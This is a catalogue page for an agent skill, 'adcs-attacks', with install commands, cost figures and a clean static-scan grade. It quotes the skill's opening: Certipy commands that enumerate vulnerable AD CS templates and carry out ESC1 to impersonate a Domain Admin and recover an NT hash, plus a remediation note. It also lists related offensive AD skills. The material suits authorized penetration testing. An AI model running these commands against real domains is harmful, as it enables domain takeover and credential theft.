Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/adscanpro/claude-ad/adcs-attacksnpx skills add ADScanPro/Claude-AD --skill adcs-attacksgit clone --depth 1 https://github.com/ADScanPro/Claude-ADWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/adscanpro/claude-ad/adcs-attacks)<a href="https://agentmods.dev/skills/adscanpro/claude-ad/adcs-attacks"><img src="https://agentmods.dev/badge/skills/adscanpro/claude-ad/adcs-attacks.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00104 | $0.03683 |
| Opus 5 | $0.00052 | $0.01842 |
| Sonnet 5 | $0.00021 | $0.00737 |
| Haiku 4.5 | $0.00010 | $0.00368 |
Grade A, and why
adcs-attacks scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 267 lines — stays where its author put it; the contents beside it link to each section on GitHub.
AD CS Attacks (ESC1–ESC17)
AD CS is the single richest privilege-escalation surface in modern AD. A misconfigured template or CA lets a low-privileged user obtain a certificate that authenticates as a Domain Admin. This skill uses Certipy (the ly4k project) throughout. You drive it by hand.
The whole thing starts with one enumeration pass. Run it first, read the output, then pick the ESC that applies.
certipy find -u [email protected] -p 'Password123' -dc-ip 10.0.0.10 -vulnerable -stdout
Certipy names each finding by its ESC number, so the tool's output tells you which of the below applies. Save the full JSON/BloodHound output for the report:
certipy find -u [email protected] -p 'Password123' -dc-ip 10.0.0.10 -vulnerable -old-bloodhound
The generic exploitation pattern, once you know the template/CA: request a cert, then authenticate with it to recover an NT hash or a TGT. -target is the CA/enrollment host and must be an FQDN, not an IP.
certipy req -u [email protected] -p 'Password123' -dc-ip 10.0.0.10 \
-target ca.corp.local -ca CORP-CA -template <VulnTemplate> [attack-specific flags]
certipy auth -pfx administrator.pfx -domain corp.local
certipy auth performs PKINIT and hands you the TGT plus the NT hash of the impersonated account. If it errors with an object SID mismatch, add -sid <target-SID>.
ESC1: Enrollee-supplied SAN (MOST COMMON)
What it checks. A template where low-priv users can enroll, the template has an authentication EKU (Client Authentication / PKINIT / Smart Card Logon), and CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT is set, meaning the requester chooses the Subject Alternative Name. You put a Domain Admin's UPN in the SAN and get a cert that authenticates as them.
certipy req -u [email protected] -p 'Password123' -dc-ip 10.0.0.10 \
-target ca.corp.local -ca CORP-CA -template VulnUserTemplate -upn [email protected]
certipy auth -pfx administrator.pfx -domain corp.local
Remediation. Remove CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT from templates that have an authentication EKU. Require CA manager approval for enrollment. Restrict enrollment permissions.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 4d ago First seen · 267 lines · 104 tokens per session scan A 90b420e2bcf3
adcs-attacks is a skill published in the GitHub repository ADScanPro/Claude-AD (149 stars, last pushed 10d ago), licensed MIT. It adds 104 tokens to every session and 3,683 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
active-directory-full-attack-chain
Execute a complete Active Directory penetration test from initial enumeration to domain dominance. Use this skill for AD security assessments including LDAP enumeration, Kerberos attacks (Kerberoasting, AS-REP roasting), BloodHound attack path analysis, credential dumping with Mimikatz, lateral movement via…
ad-cs-esc1-abuse
Exploit Active Directory Certificate Services (AD CS) misconfigurations, specifically ESC1. By requesting a certificate based on a overly permissive template that allows the enrollee to supply a Subject Alternative Name (SAN), an attacker can impersonate highly privileged users (like Domain Admins) and seamlessly…
ad-recon
Active Directory reconnaissance skill — host discovery and comprehensive AD enumeration. Activate when the user wants to map an AD environment, enumerate users, groups, shares, trusts, SPNs, or BloodHound data before attacking. Also activate for phrases like "map the domain", "enumerate AD", "find AD users", "collect…
ad-discovery
Enumerates Active Directory domains and maps attack surface for penetration testing.
redteam
RedTeam physical terminal execution skill. ONLY run using runinterminal. Use for network scan, lateral movement, etc.
ad-attack-classes
Use when classifying or explaining authorized Active Directory attack techniques—Kerberos and NTLM paths, coercion awareness, delegation and RBCD, ACL and DCSync concepts, LAPS and shadow credentials, GPP, trust paths, AD-joined SQL pivots, and lateral movement by protocol. Use as a reference when writing findings or…